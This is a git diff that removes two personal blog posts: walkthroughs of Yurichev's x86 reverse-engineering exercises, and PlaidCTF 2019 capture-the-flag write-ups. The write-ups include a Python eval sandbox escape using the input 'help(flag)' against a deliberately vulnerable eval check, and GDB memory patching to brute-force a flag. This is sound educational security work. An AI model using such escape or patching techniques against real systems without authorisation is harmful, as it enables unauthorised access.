a -parameter, and the =test dl,dl= was a good tell that the control flow depends on -the individual characters in that parameter. The =0x41= in that ==lea -esi,[rdx-0x41]= instruction stood out to me, as =0x41= is 'A' in ASCII, and the -=0x20= in the =add edx,0x20= was also a big clue, as ='a' - 'A'= is =0x20=. - -#+BEGIN_SRC c -void f(char *a) -{ - char *cur; - - // 0: movzx edx,BYTE PTR [rdi] - // 3: mov rax,rdi - // 6: mov rcx,rdi - // 9: test dl,dl - // b: je 29 - // 29: repz ret - if (*a == '\0') - return; - - // 6: mov rcx,rdi - cur = a; - - // 25: test dl,dl - // 27: jne 10 - while (*cur != '\0') { - // 10: lea esi,[rdx-0x41] - // 13: cmp sil,0x19 - // 17: ja 1e - // 19: add edx,0x20 - // 1c: mov BYTE PTR [rcx],dl - if (*cur - 0x41 <= 0x19) - *cur += 0x20; - - // 1e: add rcx,0x1 - // 22: movzx edx,BYTE PTR [rcx] - cur++; - } - - // 29: repz ret -} -#+END_SRC - -Just from the tells outlined in the previous paragraph, I don't even need to run -=f= to know that it converts =a= to lowercase, albeit only capable of transforming -capital ASCII characters (producing garbage for, say, a space character). - -* Challenge #8 - -The hint we're given this time is, "[t]his is one of the busiest algorithms -under the hood, though, usually hidden from programmers. It implements one of -the most popular algorithms in computer science. It features recursion and a -callback function." - -In preparation for an exercise that's would likely be more difficult than the -past few, I did a couple quick perusals to get a basic idea of the control flow, -the parameters, and the return values. The =mov rbp,rdx= early on indicates that -there are at least three parameters. - -There's a =push rbp= instruction, but [[https://en.wikipedia.org/wiki/Function_prologue][explicit creation of a stack frame]]. There -are also =push r12= and =push rbx= instructions. These all occur at the beginning of -the function, so we see some register preservation and an indication that these -are the registers that are going to be used in the code. - -I find that a lot of reverse engineering involves getting good footing, so -this is the information you want when starting out. - -What I normally try to find out next is whether the parameters and return type -are integers or pointers: =mov rsi,QWORD PTR [rbx]=, after =%rsi= was moved into -=%rbx= is a good tell that the second parameter is a pointer, likely to an array -of pointer as it's dereferenced as =QWORD PTR=, and the =call r12= tells me that the -first parameter is the callback that was mentioned in the hint. The =js 40= after -testing the callback's return value tells me that its return value is signed -- -probably an int, not a pointer -- and the pair of =mov rsi,QWORD PTR [rbx]= and -=mov rdi,rbp= before the call indicate that it takes two parameters. - -#+BEGIN_SRC c -void *f(int (*a)(void *, int), void **b, int c) -{ - int ret; - // 0: push r12 - // 2: test rsi,rsi - // ... - // 10: je 32 - if (b == 0) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - - // r12 <- a - // rbx <- b - // rbp <- c - - while (1) { - // (This code path is also duplicated at 49-54. The branch that - // contains the duplicated code has been omitted, as the same - // effect arises from this loop continuing to iterate. - // - // 18: mov rsi,QWORD PTR [rbx] - // 1b: mov rdi,rbp - // 1e: call r12 - ret = a(*b, c); - - // 21: test eax,eax - // 23: je 56 - if (ret == 0) { - // 56: mov rax,rbx - // 59: pop rbx - // 5a: pop rbp - // 5b: pop r12 - // 5d: ret - return b; - } - - // 25: js 40 - else if (ret < 0) { - // 40: mov rbx,QWORD PTR [rbx+0x10] - b = b[4]; - - // 44: test rbx,rbx - // 47: je 32 - if (b == NULL) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - } - - else { - // 27: mov rbx,QWORD PTR [rbx+0x18] - b = b[6]; - - // 2b: test rbx,rbx - // 30: jne 18 - if (b == NULL) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - } - } -} -#+END_SRC - -In deriving meaning from this, I have a bit of an advantage; I've just recently -implemented this exact algorithm for my university's computer systems principle -course. This is the search function for a binary search tree, which takes an -arbitrary comparison function, =a=,, and returns the first node for which =a= -returns 0. The function returns =NULL= if the item is not in the tree. =c= is some -sort of "data" parameter for the callback function, hence why it isn't used in -the algorithm. - -=b= is probably a pointer to a struct looking something like the following: - -#+BEGIN_SRC c -struct tree_node { - char data[0x10]; - struct tree_node *left; - struct tree_node *right; -} -#+END_SRC - -as =QWORD PTR [rbx+0x10]= is followed when =a= returns something less than 0 -(represented in the struct as =left=), and =QWORD PTR [rbx+0x18]= is followed when =a= -returns something greater than 0 - (represented in the struct as =right=). - -This exercise is a little unusual. The hint mentions recursion, but this -algorithm is entirely iterative. Perhaps it was implemented recursively in C, -and the compiler performed some sort of tail-call optimization? I honestly have -no idea. - -* Challenge #9 - -The hint we're given this time is, "[n]ow that's easy." I certainly hope it is. - -This is the first challenge we're given that uses libc. It's also the first -challenge in which we see the compiler using [[https://en.wikipedia.org/wiki/Switch_statement#Compilation][binary search]] to optimize a -conditional with more than one branch. I tend to write these out as =switch= -statements whenever I see them, but it's perfectly reasonable for a compiler to -optimize an =if= in the same way. - -#+BEGIN_SRC c -#include <stdio.h> -#include <stdlib.h> - -int f(char a) -{ - // sub rsp, 8 - // movzx eax, BYTE PTR [rdi] - switch (a) { - // cmp al, 89 - // je .L3 - case 'Y': - // cmp al, 121 - // jne .L2 - case 'y': - // .L3: - // mov eax, 1 - // add rsp, 8 - // ret - return 1; - - // jle .L21 - // ... - // .L21: - // cmp al, 78 - // je .L6 - case 'N': - // ... - // cmp al, 110 - // je .L6 - case 'n': - // .L6: - // xor eax, eax - // add rsp, 8 - // ret - return 0; - - default: - // .L2: - // mov edi, OFFSET FLAT:.LC0 - // call puts - // xor edi, edi - // call exit - puts("error!"); - exit(0); - } -} -#+END_SRC - -Yurichev wasn't lying, this was an easy challenge. In fact, if I were reverse -engineering a binary and came across something like this, I probably wouldn't -bother translating the assembly to equivalent C. It's a function that converts a -character to a boolean (in the sense of a prompt that asks the user for 'Y' or -'N' -- "Yes" or "No") and exits prematurely if the character wouldn't make sense -in that context. - -* Challenge #10 - -The hint time is "[t]his code snippet is short, but tricky. What does it do? -It's used heavily in low-level programming and is well-known to many low-level -programmers. There are several ways to calculate it, and this is the one of -them." - -The snippet really is short, clocking in at only four instructions, but I still -felt the need to break out [[https://godbolt.org/][Compiler Explorer]] for this one. The part about being -"used heavily in low-level programming" threw me off a bit, since I saw =neg= and -thought that perhaps that'd correspond to the =~= operator in C, which I've only -seen used in very low-level bit shifting code. This initial assumption would've -led me astray, however, and I'm glad I took the extra minute to verify. - -#+BEGIN_SRC c -int f(int a) -{ - return -a; -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - push rbp - mov rbp, rsp - mov DWORD PTR [rbp-4], edi - mov eax, DWORD PTR [rbp-4] - neg eax - pop rbp - ret -#+END_SRC - -#+BEGIN_SRC c -int f(int a) -{ - return ~a; -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - push rbp - mov rbp, rsp - mov DWORD PTR [rbp-4], edi - mov eax, DWORD PTR [rbp-4] - not eax - pop rbp - ret -#+END_SRC - -=not= corresponds to =~=, and =neg= corresponds to =-= We're dealing with =neg= here. - -The equivalent C code for the snippet is given. Because I had Compiler Explorer -open already, I decided to throw this in there for kicks and giggles. x86-64 gcc -8.3 with =-O2= spits out the exact same series of instructions as the challenge. I -love the predictability of C compilers. - -#+BEGIN_SRC c -int f(int a, int b) -{ - return (a + b - 1) & -b; -} -#+END_SRC - -This doesn't answer our question, though. What does this do? We can test a few -values of =a= and =b= with the following snippet, replacing =2<<0= with various -constants. - -#+BEGIN_SRC c -int main(void) -{ - int i, j; - j = 2 << 0; - for (i = 0; i < 256; i++) { - printf("%-8x %-8x %-8x\n", i, j, f(i, j)); - } -} -#+END_SRC - -#+BEGIN_SRC -0 2 0 -1 2 2 -2 2 2 -3 2 4 -4 2 4 -5 2 6 -6 2 6 -7 2 8 -8 2 8 -9 2 a -a 2 a -b 2 c -c 2 c -d 2 e -e 2 e -f 2 10 -... -0 8 0 -1 8 8 -2 8 8 -3 8 8 -4 8 8 -5 8 8 -6 8 8 -7 8 8 -8 8 8 -9 8 10 -a 8 10 -b 8 10 -c 8 10 -d 8 10 -e 8 10 -f 8 10 -10 8 10 -11 8 18 -12 8 18 -#+END_SRC - -It would seem that this is some sort of "least multiple of \(b\) such that \(b < -a\) given that \(b\) is a power of two, but I feel as though I'm grasping at -straws here. - -As a Gentoo user, I have the Linux source tree checked out at =/usr/src/linux=, -and because the hint mentions low-level programming, I decided to create a -regular expression for the C I came up with and let =ag= have a go at it. - -=ag "\\(.*-[^>].*\\).*&.*\\-" /usr/src/linux= yielded quite a few results. Before -I ran the command, I wasn't expecting much, thinking that my regex was too -permissive, but the first result I saw looked remarkably like the C expression I -had come up with -- right at the beginning of =sysv_readdir= in =fs/sysv/dir.c=: - -#+BEGIN_SRC c -static int sysv_readdir(struct file *file, struct dir_context *ctx) -{ - unsigned long pos = ctx->pos; - struct inode *inode = file_inode(file); - struct super_block *sb = inode->i_sb; - unsigned long npages = dir_pages(inode); - unsigned offset; - unsigned long n; - - ctx->pos = pos = (pos + SYSV_DIRSIZE-1) & ~(SYSV_DIRSIZE-1); - if (pos >= inode->i_size) - return 0; -#+END_SRC - -Hm. Remember how I mentioned that I expected =neg= to correspond to a =~=? Well, -jumping back to Compiler Explorer: - -#+BEGIN_SRC c -int f(int a) -{ - return ~a; -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - mov eax, edi - not eax - ret -#+END_SRC - -#+BEGIN_SRC c -int f(int a) -{ - return ~(a - 1); -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - mov eax, edi - neg eax - ret -#+END_SRC - -Modifying our search slightly to =ag "\\(.*-[^>].*\\).*&.*\\~.*\\-.*1"= yields a -massive number of results, some of which are named macros. Here's one of them, -in =include/uapi/linux/if_packet.h=: - -#+BEGIN_SRC c -#define TPACKET_ALIGN(x) (((x)+TPACKET_ALIGNMENT-1)&~(TPACKET_ALIGNMENT-1)) -#+END_SRC - -Cool. That makes me feel much more confident in my answer. - -* Challenge #11 - -The hint for this exercise is: "[t]his is a somewhat large function (in contrast -to the other exercises in this blog), but heavily used nowadays in various -software. As it can be clearly seen, it uses standard C/C++ functions including -strlen() and sscanf(). Some other helper function is also used. I intentionally -gave it this name to conceal its real function. So what does the whole code -snippet do?" - -I'd like to apologize in advance for the sloppiness of the code that follows. -Also, I've renamed =helper= to =is_hex_digit=, as it makes the code for =f= clearer. - -#+BEGIN_SRC c -#include <string.h> -#include <stdio.h> - -int is_hex_digit(char a) -{ - // lea edx, [rdi-48] - // mov eax, 1 - // cmp edx, 9 - // jbe .L2 - if (a <= '9') { - // .L2: - // ret - return 1; - } - - // and edi, -33 - // xor eax, eax - // sub edi, 65 - // cmp edi, 5 - // setbe al - // .L2: - // ret - return (a & -33) <= 'F' ? 1 : 0; -} - -int f(char *a, char *b) -{ - int len; - int local_12; - char *cur; - char *end; - char *dst; - char *next; - - // push r15 - // xor eax, eax - // or rcx, -1 - // push r14 - // push r13 - // push r12 - // mov r12, rsi - // push rbp - // mov rbp, rsi - // push rbx - // mov rbx, rdi - // sub rsp, 24 - // repnz scasb - // not rcx - dst = b; - cur = a; - len = strlen(a); - - // lea r14, [rbx-1+rcx] - // .L6: - // cmp rbx, r14 - // ja .L24 - while (cur <= end) { - // movsx eax, BYTE PTR [rbx] - // ... - // mov DWORD PTR [rsp+12], eax - local_12 = (int) *cur; - - // lea r13, [rbx+1] - next = cur + 1; - - // mov r15, r13 - // cmp eax, 43 - // jne .L7 - if (*cur == '+') { - // mov DWORD PTR [rsp+12], 32 - local_12 = ' '; - // jmp .L8 - } else { - // .L7: - // cmp eax, 37 - // jne .L8 - // movsx edi, BYTE PTR [rbx+1] - // call helper - // test eax, eax - // jne .L9 - if (*cur == '%' && is_hex_digit(*(cur + 1))) { - // .L9: - // movsx edi, BYTE PTR [rbx+2] - // lea r13, [rbx+3] - next = cur + 3; - - // call helper - // test eax, eax - // je .L11 - if (!is_hex_digit(*(cur + 2))) { - // .L11: - // or eax, -1 - // jmp .L10 - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return -1; - } - - // lea rdx, [rsp+12] - // xor eax, eax - // mov esi, OFFSET FLAT:.LC0 - // mov rdi, r15 - // call __isoc99_sscanf - // test eax, eax - // je .L11 - if (!sscanf(cur + 1, "%2X", &local_12)) { - // .L11: - // or eax, -1 - // jmp .L10 - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return -1; - } - } - - } - - // .L8: - // test r12, r12 - // je .L12 - if (b != NULL) { - // mov eax, DWORD PTR [rsp+12] - // mov BYTE PTR [rbp+0], al - *dst = local_12; - } - - // .L12: - // inc rbp - // mov rbx, r13 - // jmp .L6 - dst++; - cur = next; - } - - // .L24: - // mov eax, ebp - // sub eax, r12d - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return dst - b; -} -#+END_SRC - -This could very well be cleaned up. In fact, I'm not even sure that my -translation is completely correct, but I got to the point where I felt it was -"good enough" and I could explain that =f= is a function for decoding a -[[https://en.wikipedia.org/wiki/Percent-encoding][percent-encoded]] string, where =a= is the encoded string and =b= is a destination to -decode to. If not for the telltale ='+'= corresponding to a =' '= and use of a ='%'= -character, I probably would have spent more time cleaning up my translation and -making sense of it. But I've seen code like this many times in my life, it -really is "heavily used nowadays in various software." - -I began this challenge by reversing =helper=, which I think was a good move as it -gave me some footing. I didn't even notice '%' or '+' in =f= at first, but the -realization that =helper= worked with hexadecimal digits got me started on ideas -for what =f= might do. - -On the topic of =helper=, the reason I was able to pick out that it's checking for -hexadecimal digits was realizing that \(a - 48 \leq 9\) is equivalent to \(a -\leq 49 + 9\). The comparison is otherwise pretty unclear. And I suspect that -the =-33= is related to how ASCII is encoded. - -The control flow for =f= is pretty intimidating with its 8 labels. When it came -time to look at =f=, I drew out a rudimentary control flow graph on paper -- -scribbling down the label names and drawing arrows between the different labels. -I found this to be very useful in identifying which jumps are loops (cycles in -the graph), which are conditionals (branches), and which labels are related -(linear relationships). - -#+BEGIN_EXPORT html -<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/latest.js?config=TeX-MML-AM_CHTML"></script> -#+END_EXPORT diff --git a/posts/Writeups for PlaidCTF 2019/plaidctf-2019.org b/posts/Writeups for PlaidCTF 2019/plaidctf-2019.org deleted file mode 100644 index 8491347..0000000 --- a/posts/Writeups for PlaidCTF 2019/plaidctf-2019.org +++ /dev/null @@ -1,456 +0,0 @@ -#+TITLE: Writeups for PlaidCTF 2019 -#+DATE: <2019-04-14 Sun> -#+TAGS: writeup, security, reverse-engineering, capture-the-flag, x86, c, python - -My long-lived hiatus from capture-the-flag has come to an end, as I got off my -ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty -lonely, but my old team wasn't playing, and even if they were, I don't know if I -would've wanted to make the commute just to play with them. - -The team name I came up with was 0x7c_Jake since I've been listening to a lot of -[[https://en.wikipedia.org/wiki/Less_Than_Jake][Less than Jake]] recently and =0x7c= is =jl= in x86. With any luck, though, I won't be -playing under that team name again -- I'm going to reach out to the ACM chapter -at my university and ask about starting a team associated with the school.[fn:1] - -But I'd imagine that you don't care much for that. You're here for my challenge -solutions, aren't you? - -* can you guess me (100 pts) - -This was a pretty simple Python sandbox escape challenge. The constraint was -that your input could have a maximum of 10 unique characters. - -#+BEGIN_SRC python :hl_lines 0 -count_digits = len(set(inp)) -if count_digits <= 10: # Make sure it is a number - val = eval(inp) -else: - raise -#+END_SRC - -So if you were thinking of sending off =print(secret_value_for_password)=, you're -out of luck. - -#+BEGIN_SRC python :hl_lines 0 -f = lambda x: (len(set(x)) <= 10, len(set(x))) -f("secret_value_for_password") # >>> (False, 15) -#+END_SRC - -This was the challenge I poked at for warm up, and in about fifteen minutes I -had what I believe is an unintended solution. - -#+BEGIN_SRC prog - ____ __ __ ____ __ __ - / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ -| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ -| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ - \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| - - - -Input value: help(flag) -No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'. -Use help() to get the interactive help utility. -Use help(str) for help on the str class. - -Nope. Better luck next time. -#+END_SRC - -* i can count (50 pts) - -The premise of this challenge is that there's some integer encoded as an ASCII -string. It's continually incremented by one and then checked against a -=check_flag=[fn:2] function. The flag is just whatever integer satisfies =check_flag=. - -You certainly _could_ have reverse engineered =check_flag= and plugged all of its -constraints into z3, but the function is 1394 bytes long. An easier solution is -to realize that the constraints are checked for each digit of the integer, open -the program in a debugger, set some breakpoints at various points in =check_flag=, -and brute-force the value digit-by-digit. - -This would've been a nice opportunity to use r2pipe or GDB's Python APIs, but I -started this challenge close enough to the end of the competition that doing it -by hand in GDB was the best course of action. I broke at =check_flag+0x31= so I -could see what the individual digit being checked was, as well as at -=check_flag+0x532= so I could see if the function was jumping to a =ret= -- which -would indicate that the digit doesn't satisfy the constraints. Every time I came -across a correct digit, I'd add a bogus '/' to the end of the integer string -with =set *((char *)0x56555000+0x3048) = 0x2f=[fn:3] so that =check_flag= started -checking the following digit, rather than incrementing the integer and ruining -everything. Again, the return key on my keyboard would have appreciated it if I -scripted my solution, but it worked and I was able to get the flag of -"PCTF{2052419606511006177}". - -* big_maffs (250 pts) - -I found this challenge to be really difficult, and at the time of writing this, -my solution is still running. I began by reverse engineering the binary to its -equivalent C. - -#+BEGIN_SRC c :hl_lines 0 -#include <stdint.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> - -struct string { - uint64_t length; - char *data; -}; - -static char peanut[] = { - 0x05, 0xbb, 0x01, 0x59, 0x6f, 0x06, 0x18, 0x61, 0x3d, 0xa0, - 0x3a, 0xe4, 0x9c, 0xe4, 0xe1, 0xe6, 0x73, 0x93, 0x81, 0xf2, - 0x10, 0x6b -}; - -static char banana[] = { - 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, - 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, -}; - -static struct string *global_4090; - - -// 0x00001189 1 26 eom_error -void eom_error(void) -{ - puts("no more memory? https://downloadmoreram.com/"); - exit(1); -} - -// 0x000011a3 3 51 my_malloc -void *my_malloc(int size) -{ - char *ret; - if ((ret = malloc(size)) == NULL) { - eom_error(); - } - return ret; -} - -// 0x000011d6 3 62 my_realloc -void *my_realloc(char *data, int length) -{ - char *res; - - // STACK SIZE 0x20 - if ((res = realloc(data, length)) == NULL) { - eom_error(); - } - - return res; -} - -// 0x00001214 1 97 make_string -struct string *make_string(char *data, int n) -{ - struct string *ret; - - // STACK SIZE 0x20 - ret = my_malloc(sizeof(struct string)); - ret->data = my_malloc(n); - memcpy(ret->data, data, n); - ret->length = n; - - return ret; -} - -// 0x00001695 7 72 all_null? -int all_null(struct string *s) -{ - int null_count; - - null_count = 0; - while (null_count < s->length) { - if (s->data[null_count] == '\0') { - null_count++; - } else { - return 0; - } - } - - return 1; -} - -// 0x000016dd 8 146 ends_with_digit? -int ends_with_digit(struct string *s) -{ - int i; - - // STACK SIZE 0x18 - if (all_null(s)) { - return 0; - } - - i = s->length - 1; - - while (i >= 0) { - if (s->data[i] == '\0') { - i--; - } else { - // True for c > 64, as well as the following cases: - // - c == 1 - // - 4 <= c <= 7 - // - 16 <= c <= 31 - return (s->data[i] & 0xaa) > (s->data[i] & 0x55); - } - } - - return 0; -} - -// 0x00001275 1 70 resize_string_by_one -void resize_string_by_one(struct string *s) -{ - // STACK SIZE 0x10 - s->length++; - s->data = my_realloc(s->data, s->length); -} - -// 0x000012bb 21 492 strum -void strum(struct string *a, struct string *b) -{ - int onion; - int brisket; - int cheese; - char donut; - char syrup; - char carrot; - char melon; - char butter; - - // STACK SIZE 0x30 - - butter = '\0'; - cheese = 0; - - // 0x13c3 - while (cheese < b->length) { - melon = '\0'; - brisket = 0; - - while (brisket < 8) { - syrup = butter \ - + ((a->data[cheese] >> brisket) & 1) \ - + ((b->data[cheese] >> brisket) & 1); - - if (banana[syrup + 2] != '\0') { - melon |= 1 << brisket; - } - - butter = banana[syrup + 8]; - brisket++; - } - - if (a->length == cheese) { - resize_string_by_one(a); - } - - a->data[cheese] = melon; - cheese++; - } - - while (butter != '\0') { - if (cheese >= a->length) { - resize_string_by_one(a); - } - - carrot = '\0'; - onion = 0; - - while (onion < 8) { - donut = butter + ((a->data[cheese] >> onion) & 1); - - if (banana[donut + 2] != '\0') { - carrot |= 1 << onion; - } - - butter = banana[donut + 8]; - onion++; - } - - a->data[cheese] = carrot; - cheese++; - } -} - -// This function is extremely similar to strum, but with 'subl %eax, %esi; movl -// %esi, %eax' at 0x00001335 instead of 'addl %esi, %eax'. -void bake(struct string *a, struct string *b) -{ - int onion; - int brisket; - int cheese; - char donut; - char syrup; - char carrot; - char melon; - char butter; - - // STACK SIZE 0x30 - - butter = '\0'; - cheese = 0; - - // 0x13c3 - - while (cheese < b->length) { - melon = '\0'; - brisket = 0; - - while (brisket < 8) { - syrup = butter \ - + ((a->data[cheese] >> brisket) & 1) \ - - ((b->data[cheese] >> brisket) & 1); - - if (banana[syrup + 2] != '\0') { - melon |= 1 << brisket; - } - - butter = banana[syrup + 8]; - brisket++; - } - - if (a->length == cheese) { - resize_string_by_one(a); - } - - a->data[cheese] = melon; - cheese++; - } - - while (butter != '\0') { - if (cheese >= a->length) { - resize_string_by_one(a); - } - - carrot = '\0'; - onion = 0; - - while (onion < 8) { - donut = butter + ((a->data[cheese] >> onion) & 1); - - if (banana[donut + 2] != '\0') { - carrot |= 1 << onion; - } - - butter = banana[donut + 8]; - onion++; - } - - a->data[cheese] = carrot; - cheese++; - } -} - -struct string *gaze(struct string *a, struct string *b) -{ - struct string *local_8; - struct string *local_10; - struct string *local_18; - struct string *local_20; - struct string *local_28; - - // STACK SIZE 0x40 - - if (all_null(a)) { - local_28 = make_string("\x00", 1); - strum(local_28, b); - strum(local_28, global_4090); - return local_28; - } - - if (all_null(b)) { - local_20 = make_string("\x00", 1); - strum(local_20, a); - bake(local_20, global_4090); - return gaze(local_20, global_4090); - } - - local_18 = make_string("\x00", 1); - strum(local_18, b); - bake(local_18, global_4090); - - local_10 = gaze(a, local_18); - - local_8 = make_string("\x00", 1); - strum(local_8, a); - bake(local_8, global_4090); - - return gaze(local_8, local_10); -} - -void fcn_176f(struct string *a, struct string *b) -{ - // STACK SIZE 0x10 - while (!ends_with_digit(a)) { - bake(a, b); - } - strum(a, b); -} - -// 0x00001935 4 230 main -int main(int argc, char **argv) -{ - struct string *local_8; - struct string *local_10; - struct string *local_18; - int local_1c; - - // STACK SIZE 0x20 - global_4090 = make_string("\x01", 1); - - puts("Generating your flag, please wait warmly..."); - - local_18 = make_string("\x1e", 1); - local_10 = gaze(local_18, local_18); - - local_8 = make_string((void *) 0x206e, 0x17); - fcn_176f(local_10, local_8); - - local_1c = 0; - - while (local_1c <= 0x15) { - peanut[local_1c] ^= local_10->data[local_1c]; - local_1c++; - } - - printf("Your flag is: %s\n", peanut); - return 0; -} -#+END_SRC - -TL;DR: among other things, there's a function called =gaze=[fn:4] that recursively -generates an XOR decryption key for =peanut=. - -I took this be an "optimize me" challenge. My current solution memoizes the -results of =gaze= into a linked list to reduce the number of recursive -computations made. In retrospect, I probably should've used a binary search tree -or a hash table instead of a linked list, but I was trying to quickly hack -together a solution. Also in retrospect, I probably should spent my time -figuring out what =strum= and =bake= _really_ do and reversing the calculation rather -than trying my hand at optimizing it. Ah, well. - -One neat thing I found out about from working on this challenge was the -=MALLOC_CHECK_= environment variable recognized by glibc. If it's set to =0=, heap -corruption errors are silently ignored. My solution needed it, and I'm unsure of -whether the heap corruption is in my translation of the original binary, or if -it was in my memoization code. Either way, I have a feeling it will make itself -useful again in the near future. - ---- - -Addendum: As it turns out, memoization was a wildly sophomoric attempt at a -solution, and the real solution was, as I mentioned, to figure out the purposes -of =strum= and =bake=. It turns out that =strum= is base (-2) addition, =bake= is base -(-2) subtraction, =gaze= is the Ackermann function, and that the structure is -actually a [[https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic][bignum]], not a string. In this case, that poor assumption led me down -a wrong path. Once you figure that out, you'll need to put your modular -arithmetic chops to work as well. An excellent writeup from sasdf of [[https://balsn.tw/][Balsn]] is -available [[https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/][here]]. - -[fn:1] So if you currently study at UMass Amherst and you'd be interested in joining a CTF team, [[http://jakob.space/about/][shoot me an email!]] -[fn:2] The executable wasn't stripped. -[fn:3] Where =0x56555000= is the address that the binary was loaded to in memory, and =0x3048= is the beginning of the ASCII-encoded integer (plus an offset for whichever digit I was on) -[fn:4] This time the binary _was_ stripped. I didn't bother updating the temporary names I used. Yes, I use foods for variables and random verbs for functions. |
